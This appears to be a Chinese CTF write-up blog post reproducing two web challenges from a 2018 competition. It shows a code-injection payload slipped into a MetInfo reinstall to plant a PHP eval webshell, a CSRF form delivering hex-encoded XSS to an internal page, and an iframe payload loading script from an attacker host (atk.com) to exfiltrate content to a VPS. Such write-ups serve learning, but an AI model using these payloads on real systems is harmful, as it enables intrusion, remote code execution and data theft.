Ywc's blog

巅峰极客第一场web复现

Word count: 682Reading time: 3 min
2018/07/25

前言:

这次比赛web偏向实战,考的都是漏洞的利用以及渗透技巧,可以学习到很多东西。

参考链接:链接1

跨目录删除文件、重装攻击 题目 –pentest

首先目录扫描得到file/file.php 先扫描网站目录得到file目录,再扫描…/file/目录得到 file/file.php

dianfengjike

dianfengjike

dianfengjike

dianfengjike

然后猜测可以跨目录删除文件 (emmmm师傅们的经验真是太丰富了,萌新猜不到22333)

dianfengjike

dianfengjike

执行命令删除文件后重装metinfo,重装的时候数据库名填:

1
met#*/@eval($_GET[1]);/*

密码填写为root,这里提一句,由于平台的网络acl问题,所有的环境都是不能外连mysql的,导致会有一点坑。

dianfengjike

最后getshel拿flag,payload:

1
.../config.config_db.php?1=system("cat /tmp/flag");

dianfengjike

XSS、CSRF –mysqlonline

题目有2个功能: 1.进行数据库的增删改查 2.可以让服务器去请求你输入的url

第一个功能遍历数据库无果,发现没有重要数据

但是关键点在于,数据库的查询结果会经过html输出在前端

那么如果我们查询的是带有xss代码的数据,是否可以触发xss呢?

所以尝试

dianfengjike

然后使用

dianfengjike

发现XSS成功,选择XSS平台

1
http://xsspt.com/

打一下cookie试试,发现返回的referer里有地址

dianfengjike

但是直接访问无果

1
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php

dianfengjike

这里选择xss平台的源码获取

然后将生成的恶意代码放入以下evil_hex

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<div>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/runsql.php" name = 'form1' method="POST">
<input type="hidden" name="sql" value="select unhex('evil_hex')" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
setTimeout("form1.submit();",10);
</script>
</div>
</div>

则可以得到页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php
<!DOCTYPE html>
<div>
<head>
<title>Online Mysql Run</title>
</head>
<div>

<h3>Admin Index:</h3>

<img src="./static/img/iamsecret_555.jpg">

I am l3m0n tree.

</div>
</div>

看来flag是

1
./static/img/iamsecret_555.jpg

但是直接访问依旧是403

利用工具https://github.com/Lz1y/frame2canvas

可以获得图片内容

payload

1
<iframe id="myIframe" src="admin_zzzz666.php"></iframe><script src="//atk.com/atk.js"></script>

同样进行16进制编码后放入evil_hex

然后即可在vps上的监听得到base64

解码得到

dianfengjike

CATALOG
  1. 1. 前言:
  2. 2. 跨目录删除文件、重装攻击 题目 –pentest
  3. 3. XSS、CSRF –mysqlonline